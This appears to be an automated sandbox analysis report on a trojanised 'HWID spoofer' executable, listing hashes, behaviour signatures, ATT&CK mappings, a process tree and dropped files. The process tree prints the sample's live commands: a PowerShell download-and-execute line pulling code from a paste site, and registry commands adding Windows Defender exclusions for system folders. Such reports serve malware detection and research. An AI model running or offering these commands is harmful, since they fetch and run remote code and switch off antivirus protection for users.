af32270b2a95cf8124dd19ae48edde7710d797ae6b3badc001b7d40eb41bfe58

Analysis

user interaction
yes
max time kernel
149s
max time network
157s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
31/05/2026, 08:55

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Syntex Hwid Spoofer/Syntex Spoofer.exe
Size 160KB
Sample260531-kvr1yadv21
SHA256 af32270b2a95cf8124dd19ae48edde7710d797ae6b3badc001b7d40eb41bfe58
MD5 ea63e8eb122b1e620dd250faab827182
SHA1 79e213408cbb9a3783569a8c67df5a4917a3c358
SHA512 6e41ab0fb51df59873423d52669b12c221636b809198c85aaa85d60c214dabbc6b1f3104c9dc2c6d6f38398a1ee7f1b4a468693634f91c4488bae496a83f437f
SSDEEP 3072:c5vnr5Tbx829UOeKnn2LFzZBp13u36wKp4zULCWods096hxpfSo:cBKjK2LFzZNfIULLD0chbZ
TLSH
T1E8F3390773A911F8D1BBE23999A24906F7B63826473197CF2350427A0F777E0AE79721
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
13	2200	powershell.exe
19	2200	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2200	powershell.exe

Checks processor information in registry 2 TTPs 18 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000_Classes\Local Settings	firefox.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2592	vlc.exe
4836	vlc.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2200	powershell.exe
2200	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2592	vlc.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2200	powershell.exe
Token: SeDebugPrivilege	5100	firefox.exe
Token: SeDebugPrivilege	5100	firefox.exe

Suspicious use of FindShellTrayWindow 25 IoCs

pid	Process
2592	vlc.exe
2592	vlc.exe
2592	vlc.exe
2592	vlc.exe
2592	vlc.exe
2592	vlc.exe
2592	vlc.exe
2592	vlc.exe
2592	vlc.exe
4836	vlc.exe
4836	vlc.exe
4836	vlc.exe
4836	vlc.exe
4836	vlc.exe
4836	vlc.exe
4836	vlc.exe
4836	vlc.exe
4836	vlc.exe
4836	vlc.exe
5100	firefox.exe
5100	firefox.exe
5100	firefox.exe
5100	firefox.exe
5100	firefox.exe
5100	firefox.exe

Suspicious use of SendNotifyMessage 17 IoCs

pid	Process
2592	vlc.exe
2592	vlc.exe
2592	vlc.exe
2592	vlc.exe
2592	vlc.exe
2592	vlc.exe
2592	vlc.exe
2592	vlc.exe
4836	vlc.exe
4836	vlc.exe
4836	vlc.exe
4836	vlc.exe
4836	vlc.exe
4836	vlc.exe
4836	vlc.exe
4836	vlc.exe
4836	vlc.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2592	vlc.exe
4836	vlc.exe
5100	firefox.exe

Suspicious use of WriteProcessMemory 42 IoCs

description	pid	Process	procid_target
PID 3560 wrote to memory of 2200	3560	Syntex Spoofer.exe	89
PID 2200 wrote to memory of 3232	2200	powershell.exe	95
PID 2200 wrote to memory of 3844	2200	powershell.exe	96
PID 2200 wrote to memory of 1540	2200	powershell.exe	97
PID 2200 wrote to memory of 228	2200	powershell.exe	98
PID 228 wrote to memory of 3752	228	csc.exe	99
PID 3240 wrote to memory of 5100	3240	firefox.exe	120
PID 3240 wrote to memory of 5100	3240	firefox.exe	120
PID 5100 wrote to memory of 3812	5100	firefox.exe	121
PID 5100 wrote to memory of 3812	5100	firefox.exe	121
PID 5100 wrote to memory of 3812	5100	firefox.exe	121
PID 5100 wrote to memory of 3280	5100	firefox.exe	122
PID 5100 wrote to memory of 3280	5100	firefox.exe	122
PID 5100 wrote to memory of 3280	5100	firefox.exe	122
PID 5100 wrote to memory of 3280	5100	firefox.exe	122
PID 5100 wrote to memory of 1596	5100	firefox.exe	123
PID 5100 wrote to memory of 1596	5100	firefox.exe	123
PID 5100 wrote to memory of 1596	5100	firefox.exe	123
PID 5100 wrote to memory of 1596	5100	firefox.exe	123
PID 5100 wrote to memory of 3620	5100	firefox.exe	124
PID 5100 wrote to memory of 3620	5100	firefox.exe	124
PID 5100 wrote to memory of 3620	5100	firefox.exe	124
PID 5100 wrote to memory of 4728	5100	firefox.exe	125
PID 5100 wrote to memory of 4728	5100	firefox.exe	125
PID 5100 wrote to memory of 4728	5100	firefox.exe	125
PID 5100 wrote to memory of 4728	5100	firefox.exe	125
PID 5100 wrote to memory of 5776	5100	firefox.exe	126
PID 5100 wrote to memory of 5776	5100	firefox.exe	126
PID 5100 wrote to memory of 5776	5100	firefox.exe	126
PID 5100 wrote to memory of 5776	5100	firefox.exe	126
PID 5100 wrote to memory of 5800	5100	firefox.exe	127
PID 5100 wrote to memory of 5800	5100	firefox.exe	127
PID 5100 wrote to memory of 5800	5100	firefox.exe	127
PID 5100 wrote to memory of 5800	5100	firefox.exe	127
PID 5100 wrote to memory of 5820	5100	firefox.exe	128
PID 5100 wrote to memory of 5820	5100	firefox.exe	128
PID 5100 wrote to memory of 5820	5100	firefox.exe	128
PID 5100 wrote to memory of 5820	5100	firefox.exe	128
PID 5100 wrote to memory of 5848	5100	firefox.exe	129
PID 5100 wrote to memory of 5848	5100	firefox.exe	129
PID 5100 wrote to memory of 5848	5100	firefox.exe	129
PID 5100 wrote to memory of 5848	5100	firefox.exe	129

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Syntex Hwid Spoofer\Syntex Spoofer.exe
"C:\Users\Admin\AppData\Local\Temp\Syntex Hwid Spoofer\Syntex Spoofer.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3560
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "irm https://pastefy.app/V9fb6BdJ/raw | iex"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2200
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:3232
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Windows /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:3844
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\ProgramData /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:1540
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5mcugqon\5mcugqon.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:228
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3822.tmp" "c:\Users\Admin\AppData\Local\Temp\5mcugqon\CSC2C7E29A453F9419E86984B403BBD5575.TMP"
      4⤵
      PID:3752

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2208

C:\Program Files\VideoLAN\VLC\vlc.exe
"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Downloads\UninstallShow.WTV"
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:2592

C:\Program Files\VideoLAN\VLC\vlc.exe
"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Downloads\RenameAdd.m4v"
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:4836

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3240
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Checks processor information in registry
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:5100
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2004 -prefsLen 27099 -prefMapHandle 2008 -prefMapSize 270279 -ipcHandle 2072 -initialChannelId {6eb833f1-6b60-43eb-8f65-d2aeeeca4876} -parentPid 5100 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5100" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
    3⤵
    PID:3812
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2464 -prefsLen 27135 -prefMapHandle 2468 -prefMapSize 270279 -ipcHandle 2476 -initialChannelId {0efd0dc9-77fd-4a38-afb5-1a5826df1368} -parentPid 5100 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5100" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
    3⤵
    PID:3280
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3780 -prefsLen 27276 -prefMapHandle 3784 -prefMapSize 270279 -jsInitHandle 3788 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3796 -initialChannelId {3dea54fc-c3e1-493e-a20e-85332b3ae1ac} -parentPid 5100 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5100" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
    3⤵
    - Checks processor information in registry
    PID:1596
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3944 -prefsLen 27276 -prefMapHandle 3948 -prefMapSize 270279 -ipcHandle 3964 -initialChannelId {aa25e173-7b52-4865-9371-88560798c58a} -parentPid 5100 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5100" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
    3⤵
    PID:3620
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4468 -prefsLen 34775 -prefMapHandle 4472 -prefMapSize 270279 -jsInitHandle 4476 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3156 -initialChannelId {a85e6d6b-47f0-4cc1-8116-e4669426612a} -parentPid 5100 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5100" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
    3⤵
    - Checks processor information in registry
    PID:4728
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 1656 -prefsLen 34959 -prefMapHandle 1660 -prefMapSize 270279 -ipcHandle 4780 -initialChannelId {cbb3eec7-cfcb-42d4-a508-b0e3862a2d41} -parentPid 5100 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5100" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
    3⤵
    - Checks processor information in registry
    PID:5776
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5092 -prefsLen 32900 -prefMapHandle 5096 -prefMapSize 270279 -jsInitHandle 5100 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5108 -initialChannelId {c900dd5a-2b85-4d9d-9a6c-516306990a33} -parentPid 5100 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5100" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
    3⤵
    - Checks processor information in registry
    PID:5800
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5332 -prefsLen 32900 -prefMapHandle 5336 -prefMapSize 270279 -jsInitHandle 5340 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5348 -initialChannelId {fcaa617c-e0db-4344-9018-d0147837e9b9} -parentPid 5100 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5100" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
    3⤵
    - Checks processor information in registry
    PID:5820
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5524 -prefsLen 32900 -prefMapHandle 5528 -prefMapSize 270279 -jsInitHandle 5532 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5540 -initialChannelId {04fa23e0-a4bd-4006-9a5f-5df36b1a070c} -parentPid 5100 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5100" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
    3⤵
    - Checks processor information in registry
    PID:5848

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

5mcugqon.dll

Path C:\Users\Admin\AppData\Local\Temp\5mcugqon\5mcugqon.dll
Size 3KB
SHA256 10fd010fe517dbdddbe9abbbe15269673a10b764a3eba0c4359f4d7d97c27296
MD5 6172ba830f08c763e5d05d26de6fb14a
SHA1 f186b3b3d82f43e7cc81938b84eea403f4ef423c
SHA512 60dc733f8a13136fface1f3323425e1f08f868ae427ff056520e0734a77031201afa1b54e33a8c270de32bdf379362219ab228c06c4ccc6f22c7a6b2c56e9036
TLSH
T17071C007A3E88A6BF87307306AF3472227B4F9509F63576E09C052696C51B24AE31B75
MD5 SHA1 SHA512 TLSH

Submit Download

RES3822.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES3822.tmp
Size 1KB
SHA256 fb68aaa618d30817bfda11b456a82bce1e31e8b50e39a3eb8f52a3335f08ed80
MD5 2b9c8eb7857b3cd77f69d03be256351b
SHA1 1cc5960e74352eeb85051ab99d3327d910f23553
SHA512 69f1b711160ec712bb5f4b24241dae7676054e168394c69a1cc382c3aeddeff01bcc68784321b31908aad35e5eea804ce5d75a291b5c6f104f78e946cfe9ff95
TLSH
T1AD21CC0193ED431FF0B75731A9FA132BA2A4FE98EFA2535A894012281850604EEA1B72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_r3ymg35h.tkt.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r3ymg35h.tkt.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

tempcache.exe

Path C:\Users\Admin\AppData\Local\Temp\tempcache.exe
Size 849B
SHA256 65ab6ac4b26e00e2945902713bab82d46957307b0e19b7e0046223431ee89021
MD5 8881582728c9fe42f63e94a7344bbc61
SHA1 d3a2de6171ea9245704b0cb8a2a373f2b18cd934
SHA512 427fb5f48619d45619b121db5db662ca587975daea0d5bd04d292acd0abf51dda3bd92dbcb7f62e92829ce462286e3a8399c7a36426782ec50d3858def84be81
TLSH
T1DF0141F30C419F27129957E064D8B2485907260AA7C66CC460E964FFF8DDF98D4E6BF8
MD5 SHA1 SHA512 TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\iorza73p.default-release\datareporting\glean\db\data.safe.tmp
Size 7KB
SHA256 776f3127f4f2b82bca41ecac2d79433b705d5c5b3c803a37d2d9679d853ec49d
MD5 1d9e3137e493962648008cb3375c38a2
SHA1 17eaa82d5ef5e80915a3bde307360a170735e189
SHA512 cb2e1ac4b93ed51b009f86726ba2eb0c871ae7b61dfcc27c168d2e62b4447836ee65b9dbf47f7d74ad204da3a4ead7e38a5f9a7be0d894820e9465a11f9ac587
SSDEEP 192:FOv5zboPXZRgcyjPger1d66JozGzgCl6mc0dz:abo/ZOcyjLpd66JozGzgC1jd
TLSH
T179E11EA4EA29863FC418427BCCA51B414F39385B984E7F19359CB40C2D572DE7A8E1BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\iorza73p.default-release\datareporting\glean\db\data.safe.tmp
Size 6KB
SHA256 44d85039fc18a5b6d21ba4eed8c52a7bcc8402bba9fd780e9e816642de646f8b
MD5 bcb3ee4fc0b6d6994255973f3c71389b
SHA1 b5b1d6144de28d546ade0f21ce730ecc4d82f23b
SHA512 cc628f7be53cbbe4d4c11bb8868321a453a8d85471d95d47a5fba9a52623753823143f47f5f03a12aabc18742754e356aa14f619ca752c2820deab26446fe374
SSDEEP 192:OOv5zboWZRgcyj5Dr1d66JozGzgCl6mc0d:FboWZOcyjdpd66JozGzgC1j
TLSH
T156D1B968F629863FC418423BCDA61B410F36389B984E7F15359CB41C2D972DE7A8E17E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\iorza73p.default-release\datareporting\glean\db\data.safe.tmp
Size 3KB
SHA256 bd37c2bbdf0c1785cd5728e498e6b034f4c2bfd9c153843bb649b7b1e66223b0
MD5 94808e71449eba8a1c34e52902013261
SHA1 fc60ce8402b5ce58dfab554d0043b1d9c54b8584
SHA512 16566e44586cbb7d87276f6d405a041477f5b1a992ad7547973aeb758d3080e7b04ba6cd9efe2a28ec118c92b351b214ac6247f6901d27b9f8b42e0bc3a21b5f
TLSH
T18861D758F229863FE045423ACD861B412F347442E8AF7F2A38ACB04D1E1B2CD768D17E
MD5 SHA1 SHA512 TLSH

Submit Download

events

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\iorza73p.default-release\datareporting\glean\events\events
Size 1KB
SHA256 e2a712cce8a406ebc5ff25e273e76ec23c58f90b1c338efbf1cc376ba0dec38b
MD5 b401bddefc87deb9bed1d6838f08aa05
SHA1 5986b8659a60ca173e9f6b55f33969d2d377e051
SHA512 31f1b9052fc20806ed3435c4e6f2cacbcd5c2a3c0d42fc5a9294c3aafe0dad860ddcd4dec5e0f869106d659190622f9b286c7e78226491926c2348b01a24f16e
TLSH
T1AF217C9D3AF94D6EAA87F69C788801CE53558E0704472D430D42EF8DCE91ADA316A479
MD5 SHA1 SHA512 TLSH

Submit Download

1020591b-342f-479e-9d99-41e4bb698d70

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\iorza73p.default-release\datareporting\glean\pending_pings\1020591b-342f-479e-9d99-41e4bb698d70
Size 886B
SHA256 7312d144a2936844c541f1006ee352848e3e8f02c7891f55fe4ccbb7ec1cbb57
MD5 c28ebbb80bb1e2b721f743bc5bbd7c16
SHA1 999aeef28f23786bc23e84151fe5a7336a4bd7c1
SHA512 52fbf459cc3ad7bea5270f2e85beede9652d30dd62d2d922353376e79941f6643a2a06f75b563ded0a41f2edd813fe1c76c46c723c5032c44dd95751ffa3885f
TLSH
T12D11E750A775B8B38C38D347959477168FE47423C0C559147D50EE1C4DBE11EA35670F
MD5 SHA1 SHA512 TLSH

Submit Download

41b57fae-7984-4a32-bd9a-3b0dcc07cc31

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\iorza73p.default-release\datareporting\glean\pending_pings\41b57fae-7984-4a32-bd9a-3b0dcc07cc31
Size 235B
SHA256 3d42c91c1dd3f58deac6bd1c0208f8b48078f68bd4ad877225130ff1cfb5bd06
MD5 42428f484b5f9ff3ca748934179e5534
SHA1 452940410b03ebf382a48ba743375e9527c80a2b
SHA512 39151101f82cd4b645d2fe548f201a536b4084c2eaa9d98a8e0a163795f2f1fdc20507e1020b27a5992a90ea893b87b857a1c7ea4963b3c5a8635303b867376a
TLSH
T1C8D0978428A8276D88200F4BB0E02AC230A8CC3310A4AC20D95105B6BFF8AC941A284B
MD5 SHA1 SHA512 TLSH

Submit Download

4842f2da-a1cf-434b-89d2-484cee86609a

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\iorza73p.default-release\datareporting\glean\pending_pings\4842f2da-a1cf-434b-89d2-484cee86609a
Size 883B
SHA256 a0e708f07605f6d1ac5a7b6e04e20058f4fb0566fb29caafe0b7fa7d0f13754b
MD5 0f7e7ebc2e915d2de8a02f8b6569b4e2
SHA1 bce1425d8bd152f5c8658c2282a437fc212fd113
SHA512 94366f333911d84b7fe801848dddd2d28c5714b10c3d1c68b0b031a9859e14ede1d680011486208f19da9281fbf0e1f7a83a540768c9e0238c1c536bc1052e4d
TLSH
T1EB110050B639B8B38C38D24B89453B068FE47423C0C9D5183DA0DE180D7B61EE3AA60B
MD5 SHA1 SHA512 TLSH

Submit Download

49fbbd7d-4a08-4a1e-91c9-e1a5bf9d85bd

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\iorza73p.default-release\datareporting\glean\pending_pings\49fbbd7d-4a08-4a1e-91c9-e1a5bf9d85bd
Size 15KB
SHA256 b865e1764446ed84447956ca324360a3c78eba8ae0e61f977059b482e8f19fa3
MD5 d685dc57fcaa1238f7a46ff545e701f7
SHA1 cada6981fdd2739cf8b21111d1e7ddf2facf8ee4
SHA512 4be25e5e5cbe0e47310d3e31180c15bb5b54b244893aa4d51dbbbbc58f6b7af29416c333d9c665ea1ab442a20af8d89da8d0f21ae86e203b36259995a6fa74d2
SSDEEP 384:xMSpcwuxzJi4bcR57WzqS4xR/trex1+vP:xMSOXEVyxwvP
TLSH
T11572C8566820457B8291E36894ECBFC3E5F538CB4C419FCADBE4BD085DDE0AE112794B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

96360909-0a8f-46fd-bf32-0a1e87ec96c7

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\iorza73p.default-release\datareporting\glean\pending_pings\96360909-0a8f-46fd-bf32-0a1e87ec96c7
Size 2KB
SHA256 9fe64b7cdd7986d4b6d3e5d072bfff7ecbc5dcf9e7974897999c071aef348b08
MD5 14fcb5d60c8bed40a7b21e895124260c
SHA1 a709e272385581a6164309e426638b8076ab71fd
SHA512 a325d55abd6b7726568cc7508f979ff2a4d7fa610fd91e18b8ff3412bfadd4fb8dc7039c347bd3d63e19ef84303a9bc7f1fc0411de575a54de3fc0ec6125359d
TLSH
T14841215C35789CB79CA6F68DD943334D87A54A1340C65C432E51EF0C8C9679A73AA43F
MD5 SHA1 SHA512 TLSH

Submit Download

996c52e6-673c-4f9d-a826-143fe4881256

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\iorza73p.default-release\datareporting\glean\pending_pings\996c52e6-673c-4f9d-a826-143fe4881256
Size 235B
SHA256 75587c1a024ba8d4d47a027ba724f943f421056739e38f50f618a2fec21e1b03
MD5 897abf124ca3f28d350c0c1b6f3b9fd7
SHA1 78af9404fd8d44097f103235f7c1d0ed3076a5e9
SHA512 049c27821582e54e809dd164dd4a785dcd8466f23c93d81523773ea2867ddbecddc6140458bed258548de8a12e3659b190448b6871a3b523a661d93898feee4c
TLSH
T1BCD097802488331F09000F06B0E0B9C630EA8C3724A89820D99114788AFD9C901A2817
MD5 SHA1 SHA512 TLSH

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\iorza73p.default-release\prefs.js
Size 6KB
SHA256 f0d0ad2f18ebdaacc5cd0e4e896e063862e265c87a28df75327f783d7adb7002
MD5 8e0ca554ddef637d49a788112b88af29
SHA1 c12346ee4d52d2906d89dafe4a1dee0b20d2a5ac
SHA512 4a76b911cb12f2c2cf8302f6d9524be8d6a99df5126ce153da0e056c21629545f946ed8b0dda758cc35b766e7845cf540adfcb8742c35b710fc06eef64eb29b4
SSDEEP 96:xHiUTUMqGq/fSrO1zSuSSlmdv9jBnytHlAsO7HjvsBw88n8L4cn23U1K:U/R/fSrOnSSjxisIHzsBw88J
TLSH
T1ADE121789004CF6F74B676ACAC6888715AB2013BB7BF28D650B554C4015CF3446F96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\iorza73p.default-release\prefs.js
Size 6KB
SHA256 96f2e40fe43f9c85935689c608bb670c27f2935cd3961f0fb6fe196ee5d8a3c4
MD5 5b469649e48e87ab012a66d97c4873d2
SHA1 3ca398f6b74051ca98720269dac828e2b1a5bc32
SHA512 082ea7d8033f4a7ae776a38898e193b68a96834714817334d5ba54f33954a2bf7825a7dd4588cf92a7105e9a15e572bf9cb7f7300d711b7557ecd0f863b6f4d1
SSDEEP 96:xHiUTUMqGq/fSGx0TdS1zSw+oSSlmdv9jBnytHlAsO7HjvsBw88n8L4cn23U1K:U/R/fSdEd+oSSjxisIHzsBw88J
TLSH
T184E12F789048CF6F74B676ACAC688C716AB2013BB7BF28D250B594C4015CF3446F96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ml.xspf

Path C:\Users\Admin\AppData\Roaming\vlc\ml.xspf
Size 304B
SHA256 81970dbe581373d14fbd451ac4b3f96e5f69b79645f1ee1ca715cff3af0bf20d
MD5 781602441469750c3219c8c38b515ed4
SHA1 e885acd1cbd0b897ebcedbb145bef1c330f80595
